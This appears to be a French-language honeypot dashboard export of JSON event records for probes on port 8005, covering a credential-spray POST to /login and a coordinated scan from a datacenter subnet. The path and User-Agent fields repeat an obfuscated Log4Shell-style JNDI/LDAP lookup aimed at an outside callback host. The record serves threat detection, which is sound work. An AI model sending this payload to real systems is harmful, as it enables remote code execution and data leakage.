"campaign_key": "a963c8b907e69649cf794eb09b501021e71c7db9",
"event_fingerprint": "057f4e5baa46ff6287baca719efdcb9f5a33eea7",
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 121,
"precision_signals": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"kb_rule_ids": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"matched_patterns": [
"pat-0842",
"pat-0324"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0842",
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "credential_stuffing",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "4061c8ea26ee46a473bd3739ac0a6d87",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 8005,
"service": "http",
"service_name": "http",
"risk_score": 68
},
"payload_preview": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Length: 2869\r\nContent-Type: ",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"evidence": {
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Length: 2869\r\nContent-Type: ",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre_techniques": [
"T1078",
"T1110"
],
"mitre": "T1078",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "8ab3d24f68367bbe1d3b2b500bce529d2a3a89c5",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8005,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"attack_vector": "bruteforce credential spray \u00b7 via HTTP:8005 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"target_port_label": "8005 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 68\/100 (\u00c9lev\u00e9) \u2014 MITRE T1078 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 68,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8005,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"tags_summary_labels_fr": [
"MITRE-T1078",
"Beh Cred Stuff"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1078",
"mitre_technique": "T1078",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8005,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "bruteforce credential spray \u00b7 via HTTP:8005 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"target_port_label": "8005 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8005"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"http-alt-8005"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 8,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3",
"http_credential_body",
"http_probe_login",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:34:14 UTC
TCP
8005 · HTTP
Sonde port 8005/TCP
port 8005 tcp · via HTTP:8005 · (sonde / probe) · → /${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:1…
Élevée
Moyen · 58
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0007
TA0007
TA0001
Protocole
GET /${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a… UA ${${2lfj:-j}${uw2d:-n}${baf:vpzy:f0ph:-d}${m:yab:c:-i}${94u:-:}…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950324:rce-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a}${m:-p}${0ie:-:}${561a:-/}${hun:-/}${9tz8:b6:7zh:-P}${25u:v6t:y8wp:-A}${bdq:j0d:-l}${zp:8:c:-0}${nq:s5b:-c}${jc5:--}${${v:j:ab1:-s}${v3:-y}${43l:-s}${4v:-:}${4e3t:e:ns:-j}${nwc7:5g:6e:-a}${69:-v}${r:-a}${4x:x:s2n:-.}${8z:9tcr:-v}${x:hlv1:fjlg:-e}${134:qg0:m:-r}${u:ut6:gx:-s}${bv:k6:ws:-i}${al:8:-o}${o:6w:67g:-n}}${a:-.}${ma9r:-f}${8n:-0}${y:-5}${inf:0:6g:-c}${nq8:g1:n:-3}${s:1:-e}${xn:oi:-4}${v:x:co:-0}${rv:-
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8005
Chemin / cible
/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a}${m:-p}${0ie:-:}${561a:-/}${hun:-/}${9tz8:b6:7zh:-P}${25u:v…
Preuve honeypot — Sonde port 8005/TCP
Connexion détectée sur le port 8005 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_8005_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
60%
Corrélation +10
Risque capteur
Moyen
· 58
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
GET /${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a}${m:-p}${0ie:-:}${561a:-/}${hun:-/}${9tz8:b6:7zh:-P}${25u:v6t:y8wp:-A}${bdq:j0d:-l}${zp:8:c:-0}${nq:s5b:-c}${jc5:--}${${v:j:ab1:-s}${v3:-y}${43l:-s}${4v:-:}${4e3t:e:ns:-j}${nwc7:5g:6e:-a}${69:-v}${r:-a}${4x:x:s2n:-.}${8z:9tcr:-v}${x:hlv1:fjlg:-e}${134:qg0:m:-r}${u:ut6:gx:-s}${bv:k6:ws:-i}${al:8:-o}${o:6w:67g:-n}}${a:-.}${ma9r:-f}${8n:-0}${y:-5}${inf:0:6g:-c}${nq8:g1:n:-3}${s:1:-e}${xn:oi:-4}${v:x:co:-0}${
User-Agent
${${2lfj:-j}${uw2d:-n}${baf:vpzy:f0ph:-d}${m:yab:c:-i}${94u:-:}${o2d3:xzf:-l}${w:d4k:7l1:-d}${74l:-a}${tw:-p}${8qlp:0s3q:ia:-:}${ec:-/}${l:xat0:hj:-/}${fa:q573:wi23:-U}${d2s:ad:yoc:-A}${7:rn:-l}${ip9…
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a}${m:-p}${0ie:-:}${561a:-
Requête brute (extrait)
GET /${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a}${m:-p}${0ie:-:}${561a:-/}${hun:-/}${9tz8:b6:7zh:-P}${25u:v6t:y8wp:-A}${bdq:j0d:-l}${zp:8:c:-0}${nq:s5b:-c}${jc5:--}${${v:j:ab1:-s}${v3:-y}${43l:-s}${4v
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "}${5srd:xa:w:-g}${l1:-o}${3:-o}${zunh:oz2v:-g}}",
"http_ua_hash": "91c78d53e41214188dac16fbfd85f9529757bb26",
"http_host_hash": "474d34701ef094042bceaaeec604d0fd7a5f5a84",
"http_target_hash": "707ee3171ccfa4b7f83fc7fb58b7d24876a4f271",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 4096,
"payload_entropy": 4.780525042962024,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8005,
"risk_waf": 100,
"risk_classification": 60,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 3.6,
"risk_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 58,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "e43be3cb582986133187f0ce05f23c2141bc27fa",
"event_fingerprint": "65ebe48f6f53211b6ffb08a3f4c69c91460c6ef6",
"classification_reason": "Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.6,
"classification_confidence": 0.6,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 58,
"correlation_boost": 10
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "69c168bb296cfb444ca272a13813c6cb",
"payload_hash": "b3ad5d19cf99b2ba9e975681e4a5a71f",
"path_pattern_hash": "7e9c0713631e7355ffd13e4575bbedcf"
},
"target_context": {
"dst_port": 8005,
"service": "http",
"service_name": "http",
"risk_score": 58
},
"method": "GET",
"path": "\/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a}${m:-p}${0ie:-:}${561a:-\/}${hun:-\/}${9tz8:b6:7zh:-P}${25u:v6t:y8wp:-A}${bdq:j0d:-l}${zp:8:c:-0}${nq:s5b:-c}${jc5:--}${${v:j:ab1:-s}${v3:-y}${43l:-s}${4v:-:}${4e3t:e:ns:-j}${nwc7:5g:6e:-a}${69:-v}${r:-a}${4x:x:s2n:-.}${8z:9tcr:-v}${x:hlv1:fjlg:-e}${134:qg0:m:-r}${u:ut6:gx:-s}${bv:k6:ws:-i}${al:8:-o}${o:6w:67g:-n}}${a:-.}${ma9r:-f}${8n:-0}${y:-5}${inf:0:6g:-c}${nq8:g1:n:-3}${s:1:-e}${xn:oi:-4}${v:x:co:-0}${rv:-",
"user_agent": "${${2lfj:-j}${uw2d:-n}${baf:vpzy:f0ph:-d}${m:yab:c:-i}${94u:-:}${o2d3:xzf:-l}${w:d4k:7l1:-d}${74l:-a}${tw:-p}${8qlp:0s3q:ia:-:}${ec:-\/}${l:xat0:hj:-\/}${fa:q573:wi23:-U}${d2s:ad:yoc:-A}${7:rn:-l}${ip9d:j:1x:-0}${w:zg:-c}${o:--}${${u:-s}${ov:7s:-y}${mnfw:s:\u2026",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a}${m:-p}${0ie:-:}${561a:-\/}${hun:-\/}${9tz8:b6:7zh:-P}${25u:v6t:y8wp:-A}${bdq:j0d:-l}${zp:8:c:-0}${nq:s5b:-c}${jc5:--}${${v:j:ab1:-s}${v3:-y}${43l:-s}${4v:-:}${4e3t:e:ns:-j}${nwc7:5g:6e:-a}${69:-v}${r:-a}${4x:x:s2n:-.}${8z:9tcr:-v}${x:hlv1:fjlg:-e}${134:qg0:m:-r}${u:ut6:gx:-s}${bv:k6:ws:-i}${al:8:-o}${o:6w:67g:-n}}${a:-.}${ma9r:-f}${8n:-0}${y:-5}${inf:0:6g:-c}${nq8:g1:n:-3}${s:1:-e}${xn:oi:-4}${v:x:co:-0}${",
"payload_snippet": "GET \/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a}${m:-p}${0ie:-:}${561a:-",
"evidence": {
"method": "GET",
"path": "\/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a}${m:-p}${0ie:-:}${561a:-\/}${hun:-\/}${9tz8:b6:7zh:-P}${25u:v6t:y8wp:-A}${bdq:j0d:-l}${zp:8:c:-0}${nq:s5b:-c}${jc5:--}${${v:j:ab1:-s}${v3:-y}${43l:-s}${4v:-:}${4e3t:e:ns:-j}${nwc7:5g:6e:-a}${69:-v}${r:-a}${4x:x:s2n:-.}${8z:9tcr:-v}${x:hlv1:fjlg:-e}${134:qg0:m:-r}${u:ut6:gx:-s}${bv:k6:ws:-i}${al:8:-o}${o:6w:67g:-n}}${a:-.}${ma9r:-f}${8n:-0}${y:-5}${inf:0:6g:-c}${nq8:g1:n:-3}${s:1:-e}${xn:oi:-4}${v:x:co:-0}${rv:-",
"user_agent": "${${2lfj:-j}${uw2d:-n}${baf:vpzy:f0ph:-d}${m:yab:c:-i}${94u:-:}${o2d3:xzf:-l}${w:d4k:7l1:-d}${74l:-a}${tw:-p}${8qlp:0s3q:ia:-:}${ec:-\/}${l:xat0:hj:-\/}${fa:q573:wi23:-U}${d2s:ad:yoc:-A}${7:rn:-l}${ip9d:j:1x:-0}${w:zg:-c}${o:--}${${u:-s}${ov:7s:-y}${mnfw:s:\u2026",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a}${m:-p}${0ie:-:}${561a:-\/}${hun:-\/}${9tz8:b6:7zh:-P}${25u:v6t:y8wp:-A}${bdq:j0d:-l}${zp:8:c:-0}${nq:s5b:-c}${jc5:--}${${v:j:ab1:-s}${v3:-y}${43l:-s}${4v:-:}${4e3t:e:ns:-j}${nwc7:5g:6e:-a}${69:-v}${r:-a}${4x:x:s2n:-.}${8z:9tcr:-v}${x:hlv1:fjlg:-e}${134:qg0:m:-r}${u:ut6:gx:-s}${bv:k6:ws:-i}${al:8:-o}${o:6w:67g:-n}}${a:-.}${ma9r:-f}${8n:-0}${y:-5}${inf:0:6g:-c}${nq8:g1:n:-3}${s:1:-e}${xn:oi:-4}${v:x:co:-0}${",
"request_sample": "GET \/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a}${m:-p}${0ie:-:}${561a:-\/}${hun:-\/}${9tz8:b6:7zh:-P}${25u:v6t:y8wp:-A}${bdq:j0d:-l}${zp:8:c:-0}${nq:s5b:-c}${jc5:--}${${v:j:ab1:-s}${v3:-y}${43l:-s}${4v",
"payload_snippet": "GET \/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a}${m:-p}${0ie:-:}${561a:-",
"classification_reason": "Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "bd6ac4ae33829aabe1357f38d83015a1a39b8182",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a}${m:-p}${0ie:-:}${561a:-\/}${hun:-\/}${9tz8:b6:7zh:-P}${25u:v\u2026",
"request_line": "GET \/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a}${m:-p}${0ie:-:}${561a:-\/}${hun:-\/}${9tz8:b6:7zh:-P}${25u:v6t:y8wp:-A}${bdq:j0d:-l}${zp:8:c:-0}\u2026",
"http_user_agent": "${${2lfj:-j}${uw2d:-n}${baf:vpzy:f0ph:-d}${m:yab:c:-i}${94u:-:}${o2d3:xzf:-l}${w:d4k:7l1:-d}${74l:-a}${tw:-p}${8qlp:0s3\u2026",
"port": 8005,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a}${m:-p}${0ie:-:}${561a:-",
"attack_vector": "port 8005 tcp \u00b7 via HTTP:8005 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:1\u2026",
"target_port_label": "8005 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 58\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 60 % \u2014 via HTTP \u2014 campagne \/24 (34.19.116.0\/24)",
"confidence_pct": 60,
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 58,
"correlation_boost": 10
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 58,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8005,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a}${m:-p}${0ie:-:}${561a:-\/}${hun:-\/}${9tz8:b6:7zh:-P}${25u:v\u2026",
"request_line": "GET \/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a}${m:-p}${0ie:-:}${561a:-\/}${hun:-\/}${9tz8:b6:7zh:-P}${25u:v6t:y8wp:-A}${bdq:j0d:-l}${zp:8:c:-0}\u2026",
"http_user_agent": "${${2lfj:-j}${uw2d:-n}${baf:vpzy:f0ph:-d}${m:yab:c:-i}${94u:-:}${o2d3:xzf:-l}${w:d4k:7l1:-d}${74l:-a}${tw:-p}${8qlp:0s3\u2026",
"port": 8005,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 8005 tcp \u00b7 via HTTP:8005 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:1\u2026",
"evidence_snippet": "GET \/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a}${m:-p}${0ie:-:}${561a:-",
"target_port_label": "8005 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 60 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8005"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 8,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_auth_header_token",
"http_bearer_auth",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:34:13 UTC
TCP
8005 · HTTP
Sonde port 8005/TCP
port 8005 tcp · via HTTP:8005 · (sonde / probe)
Élevée
Moyen · 45
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
